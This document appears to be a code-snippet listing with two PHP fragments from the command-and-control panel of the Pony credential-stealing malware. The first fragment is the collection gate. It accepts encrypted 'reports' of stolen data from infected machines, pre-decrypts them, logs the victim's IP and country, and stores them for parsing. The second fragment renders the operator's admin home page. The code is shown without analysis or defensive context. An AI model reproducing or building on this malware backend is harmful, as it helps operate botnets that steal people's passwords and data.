Example #1
0
// client IP
$ip = get_client_ip();
// get report data
$real_length = intval($_SERVER['CONTENT_LENGTH']);
$received_report_data = file_get_contents('php://input');
// check if data was received in full
if ($real_length !== strlen($received_report_data)) {
    die;
}
$report_id = 0;
// report data length should be inbetween 12 bytes and 900 Kb (default mysql query max. length)
$max_db_len_size = 1024 * 900;
if (strlen($received_report_data) > 12 && strlen($received_report_data) <= $max_db_len_size) {
    if (report_parser::verify_report_file_header($received_report_data)) {
        $report_status_ok = false;
        $ip_country = geo_ip_country_code($ip);
        $report_new_encryption = false;
        // check if new random encryption is used
        if (report_parser::verify_new_file_header($received_report_data)) {
            $report_new_encryption = true;
        }
        if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) {
            // try to pre-decrypt report data
            report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password);
        }
        // add non parsed report
        $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data);
        if ($report_id) {
            // there's new report available for parsing
            $report = new report_parser($pony_report_options);
            // process report
Example #2
0
                 } else {
                     if (strlen($admin_action) == 0) {
                         // ---------------------------------------------------------------------------------------
                         // Home page
                         // Installation Check
                         if (!install_check(false, false)) {
                             show_smarty_error($smarty, 'ERR_SRV_CONFIGURATION');
                             echo '<div id="achtung" style="margin-bottom:20px">';
                             install_check(true, true);
                             echo '</div>';
                         }
                         // Latest logins
                         $latest_login_list = array();
                         $pony_db->get_login_log($latest_login_list, 5);
                         foreach ($latest_login_list as $login_key => $login_item) {
                             $latest_login_list[$login_key]['country_code'] = geo_ip_country_code($login_item['ip']);
                             $latest_login_list[$login_key]['country_name'] = geo_ip_country_name($login_item['ip']);
                         }
                         $smarty->assign("login_list", $latest_login_list);
                         // Domains
                         $domain_list = array();
                         $pony_db->get_domains($domain_list);
                         smarty_assign_common_vars($smarty, $pony_db);
                         $smarty->assign("domain_list", $domain_list);
                         $smarty->display("home.tpl");
                     }
                 }
             }
         }
     }
 }